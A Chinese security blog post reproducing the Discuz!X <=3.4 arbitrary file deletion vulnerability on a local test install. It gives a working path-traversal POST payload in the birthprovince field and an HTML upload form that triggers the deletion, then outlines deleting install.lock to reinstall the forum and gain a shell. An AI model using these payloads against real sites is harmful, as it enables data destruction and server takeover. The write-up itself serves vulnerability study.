www.xiahuhu.cn
关注网络安全

Discuz!x<=3.4 任意文件删除

Discuz!x

是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台,是全球市场占有率第一的社区论坛(BBS)软件。


一、环境介绍

本地使用phpstudy搭建discuz 3.2,地址:http://localhost/bbs/upload/home.php

 

二、工具使用

Burp suite:用户更改数据包

Firebug :用户更改cookie

Discuz!Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。

 

三、漏洞介绍

Discuz!X社区软件,是一个采用 PHP MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017929日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

 

四、影响版本

Discuz!x<=3.4

 

五、漏洞证明

0x01 原理了解

该漏洞于20146月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。

 

0x02 漏洞复现

注册用户 test/testtest


 

在本地目录里新建一个文本文件test.txt

 

来到用户设置页面,点击个人资料基本资料

 

http://localhost/bbs/upload/home.php?mod=spacecp&ac=profile&op=base

POST提交:birthprovince=../../../test.txt&profilesubmit=1&formhash=be9d7fd1

 

formhash值是自己用户名的hash值,需要查看页面源代码替换。

 

这里修改birthprovince参数为文件站点存在的文件,这就是后面可以删除的文件。

 

发送包以后我们还要构造请求去执行删除的文件。请求home.php?mod=spacecp&ac=profile&op=base

POST birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73,其中 formhash 为用户hash

然后写一个执行改服务器的html表单命名为1.html,如下:


<html><head>

<meta http-equiv="content-type" content="text/html; charset=gbk"></head><body><form action="http://localhost/bbs/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">

<input name="birthprovince" id="file" type="file">

<input name="formhash" value="be9d7fd1" type="text">

<input name="profilesubmit" value="1" type="text">

<input value="Submit" type="submit">

</form></body></html>


 

0x03 文件上传

打开1.html,随便上传一个.png文件,hash值修改为页面的之前hash,点击上传。

之后会返回一个空白页面:

再次查看test.txt文件,发现已经删除。

0x04 漏洞利用

可以删除/data/install.lock文件,外链数据库重装,后台getshell

 

赞(1) 打赏
未经允许不得转载:花生米's Blog » Discuz!x<=3.4 任意文件删除
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏